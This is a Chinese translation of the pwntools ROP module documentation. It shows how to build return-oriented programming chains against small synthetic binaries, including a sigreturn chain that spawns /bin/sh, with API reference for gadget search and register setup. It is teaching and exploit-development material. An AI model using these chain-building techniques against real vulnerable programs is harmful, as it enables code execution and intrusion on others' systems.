ROP函数的使用
pwnlib.rop.rop - 面向返回的编程
ROP工具可以用来构建非常简单的堆栈。让我们创建一个假二进制,其中包含一些可能有用的符号。
1 2 3
| >>> context.clear(arch='i386') >>> binary = ELF.from_assembly('add esp, 0x10; ret') >>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
|
创建一个查找二进制符号的ROP对象非常简单
使用ROP对象,可以手动添加堆栈帧。
1 2 3
| >>> rop.raw(0) >>> rop.raw(unpack('abcd')) >>> rop.raw(2)
|
检查ROP堆栈很容易,并且以易于阅读的方式显示
1 2 3 4
| >>> print rop.dump() 0x0000: 0x0 0x0004: 0x64636261 0x0008: 0x2
|
ROP模块还知道如何使用标准LinuxABI进行函数调用。
1 2 3 4 5 6 7 8 9 10
| >>> rop.call('read', [4,5,6]) >>> print rop.dump() 0x0000: 0x0 0x0004: 0x64636261 0x0008: 0x2 0x000c: 0xdeadbeef read(4, 5, 6) 0x0010: 'eaaa' <return address> 0x0014: 0x4 arg0 0x0018: 0x5 arg1 0x001c: 0x6 arg2
|
你可以用略写的方式去快速调用,这个栈会自动调整到下一个栈帧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| >>> rop.write(7,8,9) >>> rop.exit() >>> print rop.dump() 0x0000: 0x0 0x0004: 0x64636261 0x0008: 0x2 0x000c: 0xdeadbeef read(4, 5, 6) 0x0010: 0x10000000 <adjust @0x24> add esp, 0x10; ret 0x0014: 0x4 arg0 0x0018: 0x5 arg1 0x001c: 0x6 arg2 0x0020: 'iaaa' <pad> 0x0024: 0xdecafbad write(7, 8, 9) 0x0028: 0x10000000 <adjust @0x3c> add esp, 0x10; ret 0x002c: 0x7 arg0 0x0030: 0x8 arg1 0x0034: 0x9 arg2 0x0038: 'oaaa' <pad> 0x003c: 0xfeedface exit()
|
ROP案例
让我们假设我们有一个简单的二进制文件,它只是将一些数据读入堆栈并返回。
1 2 3 4
| >>> context.clear(arch='i386') >>> c = constants >>> assembly = 'read:'+ shellcraft.read(c.STDIN_FILENO, 'esp', 1024) >>> assembly += 'ret\n'
|
让我们提供一些简单的gadgets:
1
| >>> assembly += 'add_esp: add esp, 0x10; ret\n'
|
也许还有一个不错的“write”函数。
1 2 3 4 5 6 7 8
| >>> assembly += 'write: enter 0,0\n' >>> assembly += ' mov ebx, [ebp+4+4]\n' >>> assembly += ' mov ecx, [ebp+4+8]\n' >>> assembly += ' mov edx, [ebp+4+12]\n' >>> assembly += shellcraft.write('ebx', 'ecx', 'edx') >>> assembly += ' leave\n' >>> assembly += ' ret\n' >>> assembly += 'flag: .asciz "The flag"\n'
|
还有一种干净退出的方法。
1 2
| >>> assembly += 'exit: ' + shellcraft.exit(0) >>> binary = ELF.from_assembly(assembly)
|
最后,让我们构建ROP堆栈
1 2 3 4 5 6 7 8 9 10 11
| >>> rop = ROP(binary) >>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8) >>> rop.exit() >>> print rop.dump() 0x0000: 0x10000012 write(STDOUT_FILENO, 0x10000026, 8) 0x0004: 0x1000000e <adjust @0x18> add esp, 0x10; ret 0x0008: 0x1 arg0 0x000c: 0x10000026 flag 0x0010: 0x8 arg2 0x0014: 'faaa' <pad> 0x0018: 0x1000002f exit()
|
ROP堆栈中的原始数据可通过str。
1 2 3
| >>> raw_rop = str(rop) >>> print enhex(raw_rop) 120000100e000010010000002600001008000000666161612f000010
|
让我们试试看!
1 2 3 4
| >>> p = process(binary.path) >>> p.send(raw_rop) >>> print p.recvall(timeout=5) The flag
|
ROP 案例(amd64)
对于amd64二进制文件,寄存器从堆栈中加载。Pwntols可以对简单的“pop;pop;add;ret”风格的小工具进行基本推理,并满足需求,使一切“just work”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| >>> context.clear(arch='amd64') >>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret' >>> binary = ELF.from_assembly(assembly) >>> rop = ROP(binary) >>> rop.target(1,2,3) >>> print rop.dump() 0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret 0x0008: 0x3 [arg2] rdx = 3 0x0010: 0x1 [arg0] rdi = 1 0x0018: 0x2 [arg1] rsi = 2 0x0020: 'iaaajaaa' <pad 0x20> 0x0028: 'kaaalaaa' <pad 0x18> 0x0030: 'maaanaaa' <pad 0x10> 0x0038: 'oaaapaaa' <pad 0x8> 0x0040: 0x10000008 target >>> rop.target(1) >>> print rop.dump() 0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret 0x0008: 0x3 [arg2] rdx = 3 0x0010: 0x1 [arg0] rdi = 1 0x0018: 0x2 [arg1] rsi = 2 0x0020: 'iaaajaaa' <pad 0x20> 0x0028: 'kaaalaaa' <pad 0x18> 0x0030: 'maaanaaa' <pad 0x10> 0x0038: 'oaaapaaa' <pad 0x8> 0x0040: 0x10000008 target 0x0048: 0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret 0x0050: 0x1 [arg0] rdi = 1 0x0058: 'waaaxaaa' <pad rsi> 0x0060: 'yaaazaab' <pad 0x20> 0x0068: 'baabcaab' <pad 0x18> 0x0070: 'daabeaab' <pad 0x10> 0x0078: 'faabgaab' <pad 0x8> 0x0080: 0x10000008 target
|
ROP+Sigreturn
在某些情况下,所需寄存器的控制不可用。但是,如果您可以控制堆栈EAX,并且可以找到int 0x80小工具,则可以使用sigreturn。
更妙的是,这是自动发生的。
我们的示例二进制文件会将一些数据读取到堆栈中,而不会执行任何其他有趣的操作。
1 2 3 4 5 6 7 8
| >>> context.clear(arch='i386') >>> c = constants >>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024) >>> assembly += 'ret\n' >>> assembly += 'pop eax; ret\n' >>> assembly += 'int 0x80\n' >>> assembly += 'binsh: .asciz "/bin/sh"' >>> binary = ELF.from_assembly(assembly)
|
让我们创建一个ROP对象并调用该调用。
1 2 3 4
| >>> context.kernel = 'amd64' >>> rop = ROP(binary) >>> binsh = binary.symbols['binsh'] >>> rop.execve(binsh, 0, 0)
|
这就是它的全部。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| >>> print rop.dump() 0x0000: 0x1000000e pop eax; ret 0x0004: 0x77 [arg0] eax = SYS_sigreturn 0x0008: 0x1000000b int 0x80 0x000c: 0x0 gs 0x0010: 0x0 fs 0x0014: 0x0 es 0x0018: 0x0 ds 0x001c: 0x0 edi 0x0020: 0x0 esi 0x0024: 0x0 ebp 0x0028: 0x0 esp 0x002c: 0x10000012 ebx = binsh 0x0030: 0x0 edx 0x0034: 0x0 ecx 0x0038: 0xb eax 0x003c: 0x0 trapno 0x0040: 0x0 err 0x0044: 0x1000000b int 0x80 0x0048: 0x23 cs 0x004c: 0x0 eflags 0x0050: 0x0 esp_at_signal 0x0054: 0x2b ss 0x0058: 0x0 fpstate
|
Let’s try it out!
1 2 3 4 5 6
| >>> p = process(binary.path) >>> p.send(str(rop)) >>> time.sleep(1) >>> p.sendline('echo hello; exit') >>> p.recvline() 'hello\n'
|
class
pwnlib.rop.rop.ROP(_elfs,base = None,badchars
_)[源代码]
一个简化生成ROP链的类
实例:
1 2 3 4 5 6 7 8 9 10
| elf = ELF('ropasaurusrex') rop = ROP(elf) rop.read(0, elf.bss(0x80)) rop.dump()
str(rop)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| >>> context.clear(arch = "i386", kernel = 'amd64') >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret' >>> e = ELF.from_assembly(assembly) >>> e.symbols['funcname'] = e.address + 0x1234 >>> r = ROP(e) >>> r.funcname(1, 2) >>> r.funcname(3) >>> r.execve(4, 5, 6) >>> print r.dump() 0x0000: 0x10001234 funcname(1, 2) 0x0004: 0x10000003 <adjust @0x18> add esp, 0x10; ret 0x0008: 0x1 arg0 0x000c: 0x2 arg1 0x0010: 'eaaa' <pad> 0x0014: 'faaa' <pad> 0x0018: 0x10001234 funcname(3) 0x001c: 0x10000007 <adjust @0x24> pop eax; ret 0x0020: 0x3 arg0 0x0024: 0x10000007 pop eax; ret 0x0028: 0x77 [arg0] eax = SYS_sigreturn 0x002c: 0x10000000 int 0x80 0x0030: 0x0 gs 0x0034: 0x0 fs 0x0038: 0x0 es 0x003c: 0x0 ds 0x0040: 0x0 edi 0x0044: 0x0 esi 0x0048: 0x0 ebp 0x004c: 0x0 esp 0x0050: 0x4 ebx 0x0054: 0x6 edx 0x0058: 0x5 ecx 0x005c: 0xb eax 0x0060: 0x0 trapno 0x0064: 0x0 err 0x0068: 0x10000000 int 0x80 0x006c: 0x23 cs 0x0070: 0x0 eflags 0x0074: 0x0 esp_at_signal 0x0078: 0x2b ss 0x007c: 0x0 fpstate
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| >>> r = ROP(e, 0x8048000) >>> r.funcname(1, 2) >>> r.funcname(3) >>> r.execve(4, 5, 6) >>> print r.dump() 0x8048000: 0x10001234 funcname(1, 2) 0x8048004: 0x10000003 <adjust @0x8048018> add esp, 0x10; ret 0x8048008: 0x1 arg0 0x804800c: 0x2 arg1 0x8048010: 'eaaa' <pad> 0x8048014: 'faaa' <pad> 0x8048018: 0x10001234 funcname(3) 0x804801c: 0x10000007 <adjust @0x8048024> pop eax; ret 0x8048020: 0x3 arg0 0x8048024: 0x10000007 pop eax; ret 0x8048028: 0x77 [arg0] eax = SYS_sigreturn 0x804802c: 0x10000000 int 0x80 0x8048030: 0x0 gs 0x8048034: 0x0 fs 0x8048038: 0x0 es 0x804803c: 0x0 ds 0x8048040: 0x0 edi 0x8048044: 0x0 esi 0x8048048: 0x0 ebp 0x804804c: 0x8048080 esp 0x8048050: 0x4 ebx 0x8048054: 0x6 edx 0x8048058: 0x5 ecx 0x804805c: 0xb eax 0x8048060: 0x0 trapno 0x8048064: 0x0 err 0x8048068: 0x10000000 int 0x80 0x804806c: 0x23 cs 0x8048070: 0x0 eflags 0x8048074: 0x0 esp_at_signal 0x8048078: 0x2b ss 0x804807c: 0x0 fpstate
|
1 2 3 4 5 6 7 8 9
| >>> elf = ELF.from_assembly('ret') >>> r = ROP(elf) >>> r.ret.address == 0x10000000 True >>> r = ROP(elf, badchars='\x00') >>> r.gadgets == {} True >>> r.ret is None True
|
参数:
elfs(*list
*)–用于挖掘的ELF对象列表
base(*int
*)–ROP链的第一个字节所在的堆栈地址(如果已知)。
badchars(*str
*)–不应出现在ROP小工具地址中的字符。
build(base=None,description=None
)[源代码]
将ROP链构造成可以传递给flat()的元素列表。
参数:
- base(*
int
*)–用于构建rop链的基地址。默认为ROP的base参数。
- description(*
dict
*)–可选的输出参数,它将获取堆栈上每个地址address:description映射,从base开始。
call(resolvable, arguments=(), abi=None,**kwargs
)[源代码]
向ROP链添加一个调用。
参数:
- resolved(*
str,int
*)–可以通过“resolve”查找的值,或者已经是整数。
- arguments(*
list
*)–可以传递给pack()的参数列表。或者,如果设置了基地址,则可以提供字符串或整数的任意嵌套结构。
chain()[源代码]
构建ROP链
返回:
describe(object
)[源代码]
返回ROP堆栈中对象的描述
dump()[源代码]
以容易读的方式打印出ROP链
find_gadget(instructions
)[源代码]
返回具有指令参数中指定的精确指令序列的小工具。
generatePadding(offset, count
)源代码]
生成要插入ROP堆栈的填充。
1 2 3 4 5 6 7
| >>> rop = ROP([]) >>> val = rop.generatePadding(5,15) >>> cyclic_find(val[:4]) 5 >>> len(val) 15 >>> rop.generatePadding(0,0)
|
migrate(next_base
)[源代码]
使用leave显式设置$sp;ret小工具
raw(value
)[源代码]
将原始整数或字符串添加到ROP链。
如果您的架构需要对齐的值,请确保任何给定的字符串都对齐!
参数:
- value(
int/str
)要放入rop链的原始值
1 2 3 4 5 6 7 8 9 10 11
| >>> rop = ROP([]) >>> rop.raw('AAAAAAAA') >>> rop.raw('BBBBBBBB') >>> rop.raw('CCCCCCCC') >>> print rop.dump() 0x0000: 'AAAA' 'AAAAAAAA' 0x0004: 'AAAA' 0x0008: 'BBBB' 'BBBBBBBB' 0x000c: 'BBBB' 0x0010: 'CCCC' 'CCCCCCCC' 0x0014: 'CCCC'
|
resolve(resolvable
)[源代码]
将符号解析为地址
参数:
- resolvable(*
str,int
*)–转换为地址的东西
返回:
- int 包含resolvable的地址或者none
search(move=0,regs=None,order='size'
)[源代码]
搜索符合指定条件的小工具。
参数:
- move(*
int
*)–调整堆栈指针的最小字节数。
- regs(*
list
*)–从堆栈中弹出的寄存器的最小列表。
- order(*
str
*)–字符串“size”或“regs”。决定如何订购满足要求的多个小工具。
搜索将尽量减少弹出的字节数超过请求的字节数、除了请求的寄存器数和地址之外的寄存器数。
如果order==“size”,则小工具按(total_moves,total_regs,addr)进行字典式比较,否则按(total _regs,total_maves,addr)进行比较。
返回:
search_iter(move=None, regs=None
)[源代码]
遍历所有小工具,这些小工具将堆栈指针至少move字节,并允许您设置regs中的所有regs。
setRegisters(registers
)[源代码]
返回将设置指定寄存器上下文的地址/值列表。
参数:
- registers (dict) –
{register name: value}
类型的字典
返回:
- 元组列表,对堆栈进行排序。
每个元组的形式都是(value,name),其中value是要在堆栈上显示的小工具地址或文本值,name是字符串名称或其他可以“未解析”的项。
unresolve(value
)[源代码]
反转“resolve”。给定一个地址,它会尝试在加载的ELF文件中找到它的符号。如果没有找到,它将搜索所有已知的小工具,并返回反汇编
参数:
返回:
- 包含地址符号名称的字符串、小工具的反汇编(如果该地址有)或空字符串。